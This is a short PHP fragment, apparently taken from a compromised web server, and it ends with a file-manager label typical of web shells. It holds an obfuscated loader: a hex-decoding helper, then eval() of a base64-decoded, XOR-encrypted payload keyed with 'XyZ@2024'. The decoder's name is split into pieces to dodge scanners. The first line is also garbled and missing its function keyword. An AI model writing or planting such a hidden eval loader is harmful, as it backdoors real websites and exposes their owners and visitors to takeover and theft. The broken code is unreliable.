xmxmxnianntt($margin){$background='';for($i=0;$i<strlen($margin);$i+=2){$background.=chr(hexdec($margin[$i].$margin[$i+1]));}return $background;}
eval((function($d,$k,$n){$x=function($d,$k){$o='';for($i=0;$i<strlen($d);$i++)$o.=$d[$i]^$k[$i%strlen($k)];return $o;};$b=$n[0].$n[1].$n[2];return $x($b($d),$k);})(
'fA0/LFdXQFU1LTUrV14SCXhebXcHAQQBYUlqeQhxc3ESCjsmW2hxBmAOHhYFUVtgFSk1MGdofl4ZMDkweVdAU39CV0oWU1pVLDA+YA8QFQFhS2JwBgQGBmleYU04FEJGNw01I11cEgl4UXslX0BGTXBdBRN3YmRxCiJ9CGZkYmd/JHNgFBYSEAcqHxJkdWBvfzEOFGJjFWl4WGd9EhddUj5ec2ANEBBcLA0qMwgfHRZ4Q3piWkRGRGJWdWIJPTgQKxw2JmdCXhRlWX4wQF9GWzsWNmAcEBZrCzwIFndiaRMQLQ4QbXh9ZwxeB2AcEBZrCzwIFndiaRMKPAsVd2Nmaw0rE2dvCz8+fBQ/M0FRVVF4RHpiwq+hkXg/MyxXEEdENBY7JFdCElAxGDEzV0MIaDZdKSVeVmdGNFthTTgURlE0HD0yU11zRDEsKCwSDRIWMA0uMEEKHRs5CTNuRlVeUT8LOy0cX0BTdxs1NBZEV1g9HighX2RdXz0XdTNXXlZ5PQopIVVVEA9Vc34kU0RTFGVZAWdRWFNABxA+ZxINDBR8GjIhRnlWGHheLiVKRBUUZUd6ZF9VQUc5Hj8dCT04EDsRen0SU0dGNCYzLltEGh1jdFAjR0JeayscLi9CRBoQOxF2YHFlYHgXKQ4fZ2J+GHhdLiVeVVVGORQbMFtlQFhxQldKUUVAWAcKPzRdQEYcfBoybBJzZ2YUNgoUbWB9ZwxVejRARVcdY3RQI0dCXmsrHC4vQkQaEDsRdmBxZWB4FykOH2J/YWAeMB8MdmMeFHwdOzRTGQk5UhovMl5vQVEsFio0GhRRXHRZGRVgfH1kDCYIBWZlYHoMKxsOYXZ3ZnRZLjJHVRsPVXM5NUBcbVEgHDloFlNaHWN0UCNHQl5rOxU1M1cYFlcwUGE=',
'XyZ@2024',
['base','64_','decode']
)); ?>
Back to Directory File Manager